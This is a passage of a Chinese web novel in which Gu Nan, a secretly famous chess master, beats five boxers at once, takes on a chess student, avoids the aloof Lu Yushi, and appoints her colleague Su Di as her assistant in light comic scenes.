顾楠哑然,咂舌:“苏迪还真是…正得发邪啊。”
她舒一口气:“那给我吧。”
纪元宇沉默。
听起来副总裁的地位已经沦落为菜市场关门前的最后一缕烂菜叶了。
“顺便问问苏迪,要不要当副总裁助理。”
纪元宇咽了口唾沫,委婉:“苏迪不会当助理。”
省略“你的”两个字。
“然后做副总裁的工作。”顾楠擦了擦嘴,把一整句话说完。
“什么意思?”
顾楠没解释,她笑吟吟仰着头颅盯远处虚无。
不是想查嘛,就让他查个够。
钟表指针缓缓绕圈,哒哒声像急救室的催命符。
她嘴角裂了个笑,瞳仁深处隐着期待。
纪元宇苦口婆心:“楠楠,我没有和你开玩笑。陆御时过来那天,苏迪也在场,或者你如果不相信她的话,也可以去看监控,我向你保证,陆御时一定来者不善。”
顾楠懒懒垂眸。
管他善不善,来了就行。
“知道了,你准备吧。”
“我不会同意。”纪元宇软得不行来硬的,冷声拒绝。
顾楠低吟:“我觉得我应该能通过投票。”
“楠楠。”在顾楠面前,纪元宇的气势撑不过三秒。
“挂了,下周回去。”
挂断电话前,还能听到纪元宇软硬兼施的拒绝。
顾楠耸肩,很遗憾,她软硬都不吃。
看看时间还早。
左右没事,她换好衣服出门,正招手打车,余光瞥见北城拳击馆。
她犹豫下,距离约好的时间还有一个小时,她没有提前等别人的习惯,索性痛痛快快进去打一场。
拳击馆接待教练几年没见她,依旧对她印象深刻,热络上前,笑问:“楠姐好久没来了。”
顾楠揉着手腕,“侯教练啊。”
她脸上跃跃欲试:“有没有新人?打一场。”
当年在北城时,她在拳击馆的时间比在家的时间都多,拳击馆从上到下,但凡能排得上名头的,都是她的手下败将。
只要有出头的新人,拳击馆都会通知她,次次乘兴而来,每每败兴而归。
一直持续到她去浔城。
侯教练“哎呦”一声:“太多了,楠姐都多久没来了。”
顾楠打个响指:“约几个体力好的。”
打两下就认输的忒不过瘾。
“一块上?”侯教练半是玩笑。
“额…”
顾楠单手托肘,另一手摩挲下巴,沉吟思虑,看上去在纠结。
侯教练很有眼色的递台阶:“最近新学员的身体素质和战斗技巧都很好,力量也够强,不然一个个来?”
顾楠瞥了他一眼,漫不经心颔首。
侯教练抬手招呼工作人员:“请……”
刚说一个字,顾楠幽幽打断:“一块上,我赶时间。”
侯教练嘴唇抿成线,和工作人员对视,都从对方眼里看到无语。
那你点什么头!
心里这么想,脸上不敢表现,嘴上更是不敢吱声。
不止是他,整个拳击馆大概都不敢,毕竟这个女人是一拳一拳把他们打服的。
侯教练摇头,更正自己的表述——虐服的。
拳击赛输赢很正常,觉得打不过认输就好,有了结果,比赛正常终止也就结束了。
偏偏眼前这个女人,不止打拳狠,嘴更狠。
对手认输,她笑人家弱鸡,一句一句往人心口扎,逼得对手反抗,然后挨更毒的打,最后她轻飘飘丢下一句:“你得试啊,不全力打,怎么知道能不能打得过。”
对手气得直瞪她。
她倒好,一脸无辜:“很遗憾,你还得练。”
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曾记得那段时间,教练排班表出来之前,大家都会旁敲侧击问楠姐会不会来,实在问不出来,就起卦占卜一下。
他打了一辈子拳,也没想到自己还能有机会学习六爻。
整个拳击馆被楠姐打得哀声怨道,大家想到一个人,应该能杀一杀楠姐的威风,但没人敢请,等那人回来时,楠姐已经不经常过来了。
侯教练轻“嘶”一声,听说那人今天会过来。
“这是我们这学员中的前三名,这两位分别是许教练和马教练。”
工作人员挨个介绍,打断侯教练的思考。
侯教练看向另外两位教练,对他们眼中疑色置若罔闻。
都是教练,不能只有他们老教练吃过名为“楠姐”的苦。
“许教练和马教练可是我们这最好的教练,都有绝对的上肢力量和抗击打能力,我们拳击馆很多奖项都是马教练带回来的。”
马教练有些拿乔,负手而立,微微颔首,上下扫视顾楠,语气平淡:“你好。”
许教练看起来谦逊许多,笑呵呵伸手:“您好。”
顾楠没动,五人站成排,她大刺刺扫一眼,有了目标,看向马教练,微笑点评:“你挺白啊。”
侯教练干咳一声,心底呐喊。
这是强者对强者特有的吸引力吗,五个人,楠姐精准找到其中最不好惹的那个,然后挑衅。
马教练高冷:“你确定要打我们五个?”
顾楠围着他转了一圈打量:“不确定了。”
“嗤。”马教练迈步打算走。
顾楠看向侯教练:“要不你也一起?你们拳击馆教练的质量下降了。”
……
许教练脸上笑容淡下去:“还是打完再说吧。”
“OK。”顾楠把包扔侯教练怀里,“存一下,我去换衣服。”
她走了两步回头,催促:“你们也去,我只有半个小时,速战速决。”
“太狂妄了。”其中一位学员皱眉道。
侯教练拍拍他的肩膀,握了下拳给他加油,郑重说:“打败她。”
“当然!”学员一脸正气,见侯教练往反方向走,纳闷:“侯教练不去换衣服吗?”
侯教练堆笑:“我帮她看着包。”
学员不解,看了眼一旁干站着的工作人员,视线移到侯教练身上。
侯教练:“看东西这么重要的活,当然得我来干。”他眼睛扫过五人,比了个加油的姿势,“加油。”
马教练转身就走,许教练回了个同样的姿势,而后离开。
很快,擂台拉上新横线,顾楠换好衣服,姗姗来迟。
台上五人围成圈,以马教练为首,马教练居高临下看着她:“还以为你不敢出来。”
顾楠抿了口热茶,放下保温杯,耸肩道:“等人这种事都是小弟干的,我不能自降身份。”
台下看客不知谁喊了声:“开启地狱模式。”
顾楠遥遥望向发声方向,对侯教练扬声:“都是新客人了哈。”
“别废话,你的半小时要过去了。”马教练阴阳怪气。
顾楠活动脚腕,手扶高台,腰腹发力一气呵成跳到台上,扒开横绳,站定拍了拍身上不存在的灰尘,整个人松弛的像在逛街。
“打你,用不了半个小时。”
18. 收徒
虽说五人一起上,从出拳手法到身体素质,确实马教练更强一些,打出来的力道也更刁钻。
许教练力道出奇的大,顾楠侧身闪过,反击一肘。
啐:“莽夫。”
趁说话功夫,给三名学员一人一拳,送他们离开高台。
但他们似乎不愿意。
很快爬起来,擦了擦嘴角,眼底斗志昂扬。
顾楠慢吞吞揉揉腕骨:“给过你们机会了哦。”
台下看客瞠目结舌:“一人打五个,她都不会紧张吗?”
“这三位可是拳击馆的招牌,如果轻易被一个女人同时打趴下,这拳击馆……”
顾楠听到声音,好心解释:“是我太强,虽然他们确实有点弱。”
“真自傲。”
“马教练还在台上,两位学员都是马教练的徒弟,她这不是打马教练的脸?”
有人吹了声口哨,扬声促狭:“话都说了,一会如果被趴下就有意思了。”
顾楠一拳挡开学员们的进攻,张狂笑道:“打趴下?我还怕他们不能让我打爽呢。”
“嚯,这力道。”
观众席你一言我一语,人声鼎沸,个个目不转睛盯着台上六人你来我往,女人一打五,10分钟过去,竟还处于上风。
角落两个男人对视一眼,闲适品茶,身穿运动套装的男人问:“你觉得这个女人能赢吗?”
另一人随手扫平西装褶皱,不紧不慢端起茶杯,高深莫测:“双拳难敌四手。”
运动套装男笑:“他们明显想耗她体力,”他摇摇头:“太自负了。”
西装男:“有些本事。”
运动套装男:“马教练阴招多着呢,细心的人都容易栽到他手里,何况这…”他轻嗤一声,“骄兵必败。”
他们不开口,台下看客倒有好心人。
发现马教练脚尖改变方向,往顾楠身后游走,忙高声提醒:“小心身后。”
顾楠余光扫了眼,没理会,笑嘻嘻朝好心人招手:“谢了,赏你待会和我打一场。”
侯教练喊:“你怎么恩将仇报……哎!”
惊呼没喊完,顾楠就捉住了马教练偷袭的胳膊,提膝一抵,马教练吃疼倒退数步,撑在横栏上喘气。
“呼。”
侯教练捂着胸口,大口把刚才凝住得一口气呼出来,惊觉身上热意,自嘲,楠姐的手段他又不是不知道,有什么好紧张的。
片刻安抚自己,是楠姐的打法太过惊心动魄,谁家好人非要等拳头冲脸了才去解决出拳人啊。
让看客忍不住为她提心吊胆,她自己反倒乐悠悠玩似的。
包里忽响起手机铃声,侯教练犹豫半秒,怕被揍没敢打开包,趁楠姐和看客胡说八道的时候,举起包,示意有人找。
顾楠颔首,收起脸上吊儿郎当,抬眼扫过五人:“速战速决。”
再出拳,力道砸碎空中无形颗粒,和着簌簌风声落在三位学员身上,力道奇大,不出一分钟,三人齐齐撞破横栏摔下台去。
顾楠懒得回头看一眼,冲两位教练勾勾手指。
“不好意思,我要去接电话,不能陪你们玩了。”
马教练脸上一阵青白,眼中倨傲变为阴毒执拗。
偏有看热闹不嫌事大的人:“这不是把马教练的脸摁着往地上摩擦吗。”
果然见马教练脸色更黑了。
顾楠回头朝说话人点了个赞:“很好,怒气加成。”
三两拳解决完许教练,在众人惊得嘴巴没合上的时候,故技重施,把马教练打下台。
场馆霎时安静。
鸦雀无声。
顾楠摊手,笑嘻嘻看着倒地不起的马教练,遗憾:“但你的怒气好像没什么用。”
“好!”不知谁先喊了一声,而后整个场馆瞬间沸腾,鼓掌叫好声不断。
几乎震破耳膜。
角落两男人对视一眼,谁也没开口。
西装男眯着的眸子加深,偏头吩咐一旁站立的小弟,低声交代几句,目送小弟离开,他再次看向台上女人,眼底多几分玩味。
顾楠眼巴巴看着台下一张张躁动的脸,摘了装备,比了个“嘘”的手势,场馆满满安静下来。
她声音乖觉,满脸无辜:“不好意思,我有点脸盲,刚才是谁要和我打来着?”
众人你看看我,我看看你,没人吱声。
及其安静的场馆将脚步声无限放大,侯教练难得因为走路而生出几分不好意思,他站过去,“没人和你打,电话要挂了。”
“哦。”
顾楠扒下拳击服,接过自己的包,“走了。”
众人定定看着她,视线随着她的身影移动。
她忽止步,回头:“不然你们下次招教练通知我一下?可以帮你们把把关。”
……
侯教练抿唇腹诽,那干脆让我们拳击馆倒闭得了。
顾楠注视侯教练,看他脸上表情似乎不同意自己的提议,歪了下嘴,遗憾离开。
出场馆正对面是红灯,她没骨头似地倚在广告牌立柱旁,单腿撑着身体,懒洋洋掏烟盒,随手抽出一支,叼在口中。
拍了拍身上口袋,恍觉没带打火机。
她环顾四周,小商店没看到,一个男人大步朝他走来。
“你好。”
顾楠低头看他手上刀疤,没握,问:“有打火机吗?”
男人顿了下,从口袋掏出,顺便帮她点燃香烟。
“谢了。”
男人愣愣“哦”了一声,感觉事情的走向有点奇怪。
“您怎么称呼。”
顾楠深吸一口,缓缓吐出,烟雾在两人之间缭绕,模糊人像,她轻飘飘:“你不是专程来找我?”
男人愣:“你在等我?”
顾楠身体后仰,上下扫他一眼,心说你哪那么大脸。
她抬抬下巴:“等红灯。”
红灯一秒一秒减少,她盯着闪烁红字,“你还有15秒。”
男人道:“我们老板想和您交个朋友。”
“知道了。”
眼看红灯结束,她摁灭烟蒂,丢进垃圾桶,整理衣服。
“那您……”
“走了。”
男人不解:“啊?”
顾楠回头嘴角勾笑,还没开口,瞥见拳击场馆门口熟悉的身影,身影颀长,郎艳独绝,世无其二。
她愣了下,没来及收回视线,那人抬眼,与她遥遥相望,深邃眉眼不知在想什么。
“楠姐?”
顾楠看他一眼,扭头绿灯亮起,转身就跑。
“欸。”
-
“她跑什么?”邱景循追了两步,回头见陆御时没动作,纳闷问。
陆御时注视顾楠离开的背影,直到彻底看不见,才将视线移到还在广告牌下发呆的男人身上。
没开口。
邱景循顺着他的视线望向男人,诧异:“那不是沈家的人吗,她怎么会……嘶,她不会是沈家派过来的吧?”
陆御时沉默一会:“不会。”
邱景循怪道:“你不是宁可错杀一
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千不能放过一个吗,这么笃定?”
侯教练从玻璃门迎出来,满脸遗憾,这位但凡早来10分钟,就能和楠姐碰上了。
不知道这两位打起来,谁输谁赢。
“陆少,邱少。”侯教练低声,“沈少在里面。”
两人对视一眼,陆御时再次回头,四岔路口人流如织,独缺一抹倩影。
街角旧楼招牌碎了个口子,掉下的塑料迎风招摇,极像她奔跑时掀翻的裙角。
她跑什么。
他也不知道。
-
“呼。”顾楠长舒一口气,回头看了眼空荡荡的小路自我怀疑。
她为什么要跑。
看见就看见了,有时候好跑的。
她拍拍脑袋,眉头越锁越紧。
无意间瞥见陆御时,她大脑顿时一片空白,身体比意识先一步反应,拔腿就跑。
直到现在停下来,她也没明白当时的脑子为什么会死机。
揣着满腹疑问赶往晴天咖啡馆,水灵灵的迟到。
露天咖啡厅客人不多,女人扎着高马尾,脸色紧绷视线游移,她频频看表,时不时抬头望向街边。
顾楠站在咖啡厅对角,从口袋掏出口罩戴上,静静注视,女人换下那身华丽装扮,坐在那里虽衣着朴素,缝口处甚至被洗到微微泛白,但高扬的脖颈反而更适应这身普通。
“不好意思,路上耽搁了。”
见顾楠过来,女人无声松了口气,随即不好意思地低头:“还以为言老师不来了。”
“不会。”顾楠丢下包,没碰女人递过来的咖啡,凝视她一会,道:“我要知道你学象棋的原因。”
女人咬了下唇,嗫嚅道:“那天言老师应该听到了一些。”
顾楠颔首,没否认。
“三年前我爸住院,我实在拿不出钱,有人跟我说,会馆招人,那种地方来钱又多又快,我实在没有办法就去了,很幸运…”她顿了下,凄惨笑笑。
“我现在也不知道是不是幸运了。我遇到了林浩禹,他很好,没有强迫我,还帮我爸交上医药费。后来,我也不确定是不是因为感激,答应和他在一起。”
顾楠抱臂后仰,点头,“三年。”
“我一直以为他对我真诚,没想到…”女人声音哽咽,呼出一口气,咬牙道,“没想到,三年的感情,我竟然是个小三。”
顾楠沉吟不语,她当年去浔城时,就听过林浩禹和沈曼曼分分合合的消息,到现在差不多已有五年,按先来后到算,眼前的女人确实是小三。
但小三不小三的,顾楠垂了下眼,也不是这么算得,她落目打量女人,放下手臂轻叩桌面,问:“你还想和他在一起吗?”
“当然不想!”女人想都没想,脱口而出。
顾楠不动声色点头。
“我知道自己家庭情况,这些年他给我花得每一笔钱,我都有记账,我会把钱还给他。”
顾楠:“那他欠你的呢?”
女人握住咖啡杯的五指收紧,一字一顿:“拿回来。”
她郑重抬头,眉眼坚定:“言老师,我想跟您学习象棋。之前学象棋是为了讨林建业开心,现在我想为了自己。”
顾楠盯着她久久未开口。
久到女人脸上的坚定差不多褪干净,取而代之的失落与自卑爬上眉梢。
言亦神秘,象棋协会开出多少诱人的条件都没能让言亦动心,凭什么她能……
“那你给我敬杯茶吧。”
思绪戛然而止,女人眼睛一亮:“您答应了?”
19. 签名
七月天气,骄阳高悬,柏油马路特有的气味热烘烘燥染长街。
小院大门敞开,里面花繁叶茂,手臂粗细的藤蔓相互交织,布成一张带有花草绿荫香气的网。
顾楠把躺椅踢到滕下,懒洋洋靠上去,眸子半眯,手摇折扇昏昏欲睡。
腿边石桌被太阳直射,桌角一封烫金邀请函在光下熠熠生辉。
邀请函封面7月13日9点整被加粗标黑。
苏婉婷独自对弈,一局终了,起身收好棋子,瞄了眼光芒晃眼的烫金字体,偏头瞧时间,10点半。
她抿嘴犹豫,问:“师傅,你不去吗?”
顾楠抬手驱赶蝇虫,犯困提不起精神,鼻音很重:“不去,发布会很无聊。”
“可是陆家哎,他们好像很少给别人发邀请函,林建业都没资格收到。”
苏婉婷眸子亮晶晶的,眼巴巴瞅着师傅。
都说言亦神秘,是个大佬。
如今一看果然不假,那封邀请函看着就很贵,更何况还是陆家送来。
顾楠掀了掀眼皮,用折扇虚挡日头,瞧她眼中向往,好笑道:“你想去?”
苏婉婷摇头:“我以前接触到最有钱的权贵就是林家,五大家族都是新闻里的人物,没想到能在现实生活中看到他们的邀请函。”
顾楠抬手碰了下邀请函,塑封袋发出哗啦噪音,她想了下,没拆封,道:“有机会带你去。”
“真的!”苏婉婷兴奋得搓手,一蹦三尺高,“谢谢师傅。”
长年寂静的小院深处不知道藏了多少野猫、飞鸟,被她一声惊呼,呼噜噜四处逃窜。
两人对视,苏婉婷不好意思地吐吐舌头,“师傅我先走啦,明天见。”
顾楠点头:“明天不用来了,下个月再过来。”
“啊?”苏婉婷扭捏一会,小声问:“师傅,我可以留一下您的联系方式嘛。”
顾楠置若罔闻,阖上眸子,单手摇折扇,没答应也没拒绝。
小动物们离开后,院子更显静谧,两人都不说话时,只有她摇动折扇时发出一点微弱响动。
苏婉婷等了会,脸上藏不住失落,闷闷道:“师傅您休息,我先走了。”
“回来。”
苏婉婷马上回头,一串钥匙从半空划出一道抛物线精准落到她怀中,“师傅?”
顾楠:“别丢了。”
目送苏婉婷开开心心握着钥匙离开,顾楠心里五味杂陈。
一定是跟纪元宇待久了,她忽然觉得自己也有几分当爹的潜质。
她起身丢下折扇,拿过邀请函前后瞄两眼封面,拆下塑封袋,懒得打开折页,整个塞进碎纸机。
眼睁睁看着被外人奉为荣誉的邀请函碎成渣,不辨字迹。
她兀自轻“呵”一声,感慨自己竟不好奇邀请函上内容。
院里安静许久,小猫儿成群回来,三五只趴在墙头瞧她。
她勾勾手指,有胆大地猫儿跑过来,跳到石桌上,仰头蹭她手指。
半小时后,推门离开。
鬼使神差走到四岔路口,盯着跆拳道馆的玻璃门发呆,一支烟燃到尾部,她丢掉烟蒂,打车赶往星子楼。
楼下侧门男人身穿西装,站在烈日下苦等,远远见她,抬手擦了下汗,小跑过来。
顾楠蹙了下眉,“怎么在外面等?”
边说边从口袋掏出u盘,里面是她熬了整晚的劳动成果。
吩咐:“按上面写得做。”
男人迟疑地接过u盘,欲言又止:“楠姐…”
“出岔子我找你。”语气不容置喙。
“陆家那边…”
“别理他。”顾楠往嘴里丢了颗薄荷糖醒神,双手插兜,“你回吧。”
u盘交出去,北城暂时没有需要她忙得事情,算算时间该回去了。
她顶着烈日往路边走,余光瞥见叶序比死了亲妈还难看的脸。
没来得及收回目光,叶序偏头,看到她诧了下,问:“找我?”
顾楠:……
“现在不找了。”
叶序揉揉乱糟糟的头发,以为她关心自己,好脾气道:“没事,你说。”
“你让人踹了?”
“你大爷!”叶序白她一眼,五官揪起,苦兮兮说,“言亦收徒了,徒弟不是我。”
顾楠抱臂后退半步,一言难尽的上下打量她,不理解:“你的棋艺在象棋协会已经属于佼佼者,执着言亦做什么?”
叶序郑重:“执念。”
“那你拜我吧,我是言亦。”
顾楠没正形站着,单手插兜,不顾形象大嚼口香糖。
清风吹乱她的鬓角,几缕碎发搭在脸颊,她随手扒拉到耳后。
叶序直勾勾盯着她看了一会,吐出一个字:“屁。”
“啧。”顾楠,“给你机会你不中用啊。”
“你还说你是陆御时未婚妻呢。”
顾楠“嘿”了一声,故作深沉:“你怎么知道不是?”
“你闭嘴吧,怎么说,你那破菊花的主人在你心里没分量了?”
顾楠沉吟:“法律又没规定只能喜欢一个男人,能者多劳。”
“怎么劳?”叶序没好气反问。
“去你的,”顾楠笑骂,“走了。”
叶序胡乱摆手,取了文件夹在腋下,满脸不开心的往星子楼方向走,她边走边看手机,忽脚步顿住,猛地回头,狐疑:“你是不是见过言亦?”
顾楠挑眉,没吱声。
“你托我找得那副棋盘,我朋友在林建业家里看到了。”叶序打开手机,放大图片,递到顾楠眼前,“这不就是那副棋盘吗!棋子一模一样。我靠等会…不会真是你送给言亦,言亦转送给林建业的吧?”
顾楠摊手,嘴角挂着吊儿郎当地笑,不紧不慢说:“这话听着耳熟,你好像问过我。”
叶序咬牙沉默,从牙缝蹦出几个字:“你那个嘴什么时候有过真话!谁知道你说得是真的!”
“咳咳。”顾楠掩嘴轻咳,仔细回想,她应该没对叶序撒过谎,“你自己不信怪谁。”
闻言叶序幽幽抬眸,怨气冲天。
“你明明知道我喜欢她。”
顾楠投降:“给你要个签名。”
“to签。”叶序见好就收。
“行,走了。”
临上车,顾楠仰视星子楼顶层,单向玻璃看不清背后是否有人影,她眨了眨眼睛,出发去机场。
下车跟随工作人员走进休息室,借来纸笔,随便写上几句,对折封口,交代工作人员两个小时后送去星子楼。
随后给纪元宇发消息,登机,拉上眼罩,一觉睡到飞机降落。
打开手机。
第一条消息是叶序。
放大图片——她在休息室写得那张签名。
【?】
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叶序:【我怎么觉得很像你的笔迹?】
顾楠:【??】
叶序:【你别是偷偷给我签了个假的吧。】
顾楠微微一笑,打字:【滚。】
以往两人斗嘴,“滚”字意味着结束,她们会默契的终止话题,叶序一反常态,确定她下飞机后拨来电话。
“是不是假的。”
顾楠抿嘴:“真的。”
“你别骗我,别人的字我看不出来,你的字我还能不认识,你写我的“序”字,从来不写点和勾,一笔悬针就划拉下来了。”
“嘶。”
顾楠拢了下外套,心道,大意了。
叶序听她吸气,气不打一处来:“你还真是骗我?”
顾楠默默:“我一没申请专利,二没垄断悬针,别人为什么不能写。”
“别人没这个习惯。”
机场人来人往,顾楠推着箱子远远见纪元宇,高抬左手摆了摆,见纪元宇大步过来,索性丢下箱子站在原地等。
几个动作下来,想好措词。
“你应该自豪,你的朋友和你的偶像有同样的写字习惯。”
“你猜我信吗。”
纪元宇接过箱子,低唤:“楠楠?”
顾楠颔首,结束话题:“保真,回头说。”
挂断电话,她往肩上提了提包,余光瞥见门口站着一个熟悉的身影。
高跟鞋、大长裙。
仅是注视,她就仿佛已经提前嗅到香水浓郁。
视线平移,纪元宇解释:“我出门时遇见苏迪,她听说你回来,主动要来接你。”
“接我?”顾楠挑眉,加快脚步。
走到跟前,苏迪张了张嘴没发出声音,只是不断拨弄头发。无论动作还是神情,都写满不自在,似乎又有自尊心撑着不让她低头。
顾楠好笑,把包拉下来丢进纪元宇怀中,单手攀上苏迪的肩颈,哥俩好地凑过去,好奇问:“你谢我什么?”
苏迪挣扎着要推开她,但不知是力量悬殊,又或者本身只是自尊心作祟所表现出来的难为情,挣扎几下没把人推开,便放弃念头,由她动作,没开口。
顾楠碰了碰苏迪的肩膀:“说说。”
苏迪偏头瞧她,嘴巴动了下,又合住,默默低下头。
“你跟我害羞什么?”顾楠不理解。
“你好讨厌。”苏迪嗔骂。
顾楠指着自己,满脸茫然:“我干什么了?”
苏迪盯着地板紧咬下唇,闷声闷气:“谢谢你帮我把钱追回来。”
顾楠一脸懵逼:“什么钱?”
苏迪瞪她一眼,她后知后觉是因为“J”。
那就更奇怪了。
如果她记忆没出错,当时“J”是她亲手放走的,哪来的追钱。
“谁和你说,我帮你追回来的?”
“我师哥。”苏迪撇了撇嘴,脸上老大不情愿,嘴上却真诚,“谢谢你。”
“你师哥把钱给你了?”
“嗯。”
顾楠松开苏迪,抬手挠挠额头,不理解,想不明白陆御时这是唱哪出。
“早知道我师哥认识J,我就不兜这么大圈子了,还差点损失了好多钱。”
顾楠无语瞧她,腹诽:“你是真损失了,你得谢谢你那好师哥帮你填窟窿。”
“对了,我师哥还问我要了你的联系方式,你…通过一下。”
20. 助理
在这等着呢。
顾楠依言从口袋掏出手机,当着苏迪的面打开,果然有一条好友申请。
她挑眉微笑,余光扫过苏迪,在苏迪炯炯目光下,抬手,拒绝。
果断干脆。
苏迪:“?你…”
“手滑。”
苏迪默默咽口唾沫,没底气劝:“我师哥脾气不好。”
“真巧,我也是。”顾楠摊手。
三次机会,陆御时一次没把握住,现在想加好友,她哪是那么好说话的人。
见苏迪还要说什么,她装作没看见,回头招呼纪元宇,胡扯几句瞒过关于“J”的话题。
三人上车,纪元宇启动车子,顾楠忙着和叶序斗智斗勇,苏迪规规矩矩坐在后排,想说什么到底没出声。
“叮咚。”
车内幽静,新消息提示音显得突兀。
苏迪自觉按住音量键,打开手机,扫过对方发来的文字,嘴角翕动,指尖犹犹豫豫,最终删除对话框全部文字。
顾楠余光瞥见她欲言又止,只当没看到,和叶序你来我往互相嘲讽一路,再三保证签名出自言亦之手。
说服叶序,刚好停车。
她收起手机上楼,推开办公室玻璃门,愣在门口,瞠目结舌。
一时忘记动作。
独立办公室的工位很大,但她很少会在办公桌上放置私人物品。
往常推门进来,只有孤零零一台电脑立着,衬得办公室毫无人气。
此时,入目满眼“一根筋”,红红绿绿的向她招手。
她单手撑着门框,艰难吞了口唾沫,身体后仰,喊住准备离开的苏迪,手指办公桌方向,好半天找回自己的声音。
“你上供呢。”
苏迪:“你不是喜欢吗?”
顾楠想解释,她当时说让苏迪买“一根筋”,单纯是为了嘲讽,抬眼见苏迪眼中真诚,她…
一下子失去所有力气和手段。
“…谢谢你啊。”
迈步进门,扒拉两下堆成山的辣条,完全看不到底。
不出意外,她下辈子也吃不完。
“我怎么办公。”
苏迪比她很震惊:“你还办公?”
两人久久对视,顾楠沉默,低头注视辣条,深深自我反思。
不行她待会去给纪元宇磕一个,能让一个全公司都觉得不干活的人当副总裁,纪元宇的压力可想而知。
办公室鸦雀无声,苏迪瞧她神色,大约觉得自己脱口而出的话太过冒昧,脸色变了变,找补道:“我给你挪到柜子里。”
说完不等顾楠同意,自己打开柜门,一趟趟捧着辣条往柜子里面塞。
柜子彻底塞不下后,再打开另一个。
高跟鞋踩在地板上,“哒哒”声360度全方位攻击顾楠的耳膜。
顾楠以手扶额,半晌:“别弄了。”
苏迪顾不上回头,飞快捡起桌上剩下的几根辣条:“很快。”
到底把辣条全塞到柜子里,合上柜子小门,苏迪动作慢下来,没有回头,闷声说话的语气带着几分傲娇:“这是感谢你帮我,和副总裁没关系。”
顾楠凝视被辣条顶开一条缝隙的柜门,满脸复杂。
说苏迪真心吧,她送辣条感谢。
说苏迪假意呢,她又送了满满两大柜子。
“多谢谢你那好师哥吧。”
顾楠语气微不可查透出几分嫌弃,她扒拉通讯录,自动忽略万易发来的99+消息,打字。
【发个地址,给你买了辣条。】
余光瞥见万易发来腿部淤伤的图片。
继续打字。
【是“一根筋”,正好给你补补。】
苏迪回头,听她提起陆御时,便顺着问道:“你为什么不同意我师哥的好友申请?你知道外面有多少人想联系他都联系不到吗。”
顾楠合上手机,盯着苏迪看了一会,苏迪脸上真切的疑问大过趾高气昂。
她顿了下,慢悠悠走过去,胳膊搭在她的肩头,轻轻用力,摁她坐在办公椅上,轻柔又不失强势地说:“给我做助理吧。”
话题转变突然,苏迪一时没跟上她的思路,愣愣“啊”了一声。
她接着说:“让纪元宇按副总裁的待遇给你发工资。”
“为什么?”
顾楠心道,因为你确实要干副总裁的活。
出口:“看在你送我两柜子辣条的份上。”
给苏迪半分钟考虑时间,再问:“同意吗?”
苏迪沉思,片刻正色:“我确实后悔当初和你打赌,但既然答应了,我输得起。”
掷地有声。
阳光透过百叶窗溜进来,落在桌上、地上和苏迪身上。
她整个人都在发光。
嗯,金黄色的。
顾楠不敢抬头,怕一抬头会被苏迪脑袋上神圣光辉闪瞎双眼。
人品太好,有时候也受不了。
“我师哥不会为难你,你放心。”
他算个屁。
顾楠翻了个白眼,懒得搬椅子,大马金刀往办公桌一坐,翘着二郎腿,没所谓道:“那你给我当助理,拿助理的工资。”
“凭什么!”苏迪满眼难以置信。
顾楠把玩手机,玩味耸肩:“副总裁的待遇你不要,助理的也不行。你想要什么,总裁的工资?唔,那可能费点劲。”
“我凭什么给你当助理。”
“因为你送了我两柜子辣条。”
苏迪拧着眉毛,问:“有因果关系吗?”
顾楠煞有介事思考一阵:“没有。”
口袋里手机震动,她瞥了眼,随后跳下桌,拍打衣服上压出的褶皱,漫不经心赶人:“人事调动通知很快会发到你手上,你回去收拾东西,搬到…呃,副总裁办公室在哪?”
苏迪:……
“去找找,然后告诉我,OK?”
苏迪默默往外走,走到门口握住手机,回头问:“你真不同意我师哥的好友申请吗?”
顾楠晃着脑袋,眉眼弯弯:“同意好友申请有什么好处?”
“好处?”
“你问问他,有好处我就同意。”顾楠从柜子里拿出一包辣条,拆开包装,浅尝一口,碍于送礼人就在眼前,强忍着没丢垃圾桶。
“顺便再问问他,新时报人事变动,他要不要过来和我们聚餐。”
“我师哥很忙的。”
两人目光交错在半空,顾楠一本正经点头:“知道,我也不是诚心邀请。”
“嘶。”
“帮我带上门,谢谢,苏助理。”
“砰!”
顾楠眉心一跳,勾唇:“啧,这火气。”
她松下办公椅,慢慢仰躺,手机举到眼前,用手划拉已经拒绝的好友申请。
纯黑色头像和陆御时
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本人一样。
她自言自语嘟囔:“无趣又无聊。”
手机切换系统,看着满屏红点,默默往下滑,直到出现纯黑色头像。
纯黑色头像一共发来五条消息。
最早一条在半个月前,问她什么时候方便再次催眠。
最新一条就在刚刚,问她为什么拒绝。
她懒洋洋打字。
既没确定时间,也没告知原因,一句反问。
【我帮苏迪把钱追回来了?】
消息发送,退出聊天框。
不想陆御时秒回。
也是个犟种。
【为什么拒绝?】
顾楠白眼。
【温馨提示,是你先拒绝我。你不是知道么,我睚眦必报。】
【更正一下,抱。】
【你应该清楚,我对你身上的什么感兴趣吧?】
聊天框顶部正在输入中持续许久,顾楠退出聊天框,再重新进入,没有新消息进来。
她勾着嘴角乐,心道,这家伙一把年纪了还挺纯情。
逗他和逗青春期小弟弟得到的反馈没有任何区别。
顾楠边等消息边懒洋洋和佛手头像对话。
有一搭没一搭聊了几句。
又劝佛手头像不用追查假扮她身份的人。
至于原因,她向来不解释。
打算切换系统时,陆御时忽视她的调戏,再次发来疑问。
【为什么跑?】
顾楠咕哝一声:“你十万个为什么吗。”
【这个问题太深奥,不许问了。】
她想,可能是身体下意识反应?
思绪放远,她无视新消息,手机随手搁置桌上,用脚勾开抽屉,一盒奶片整齐码在里面,她珍藏的打火机大约又被纪元宇无声收缴。
一定是舅妈的意思。
她暗骂一声:“叛徒。”
起身拆封奶片,扬手丢到嘴巴里,半秒后,面无表情吐到垃圾桶。
果断拿起手机,忽视万易的问号,再次发消息。
【还有奶片。】
万易的电话比问号先来,一开口:“我怀疑你把我当垃圾桶。”
顾楠:瞎说什么大实话。
她拉长声调:“这有什么好怀疑的……”
本来就是嘛。
“上次的橘子,差点给我爷的牙酸掉。”
顾楠笑容淡了淡,没接话:“快发,忙着呢。”
万易不搭茬:“我就说呢,你哪会那么好心给我买橘子,这次又从哪搞来处理不掉的辣条和奶片。你几岁了,买这玩意?”
“不是我买的。”顾楠,“一根筋买的。”
说完给自己逗笑出声。
“一根筋”买得“一根筋”。
万易怒道:“你还笑!我被人打了你都不关心,还给我投喂垃圾?”
“你自己找打我有什么办法。”
顾楠理直气壮,省拳击赛冠军的含量正常人应该都会心里有底,万易非要作死去挑战。
万易没好气道:“不是你说,她没劲吗?”
顾楠无语,说拳击冠军没劲,也就万易能信。
嘴角抽搐半晌,默默:“我不和傻子聊天。”
挂断电话,手机返回聊天界面。
苏迪:【我师哥同意了。】
顾楠:【同意什么?】
【吃饭。】
21. 警告
顾楠盯着两个字瞅,总觉得她的眼睛和陆御时的脑子之间,一定有一个出问题了。
当然她肯定没问题。
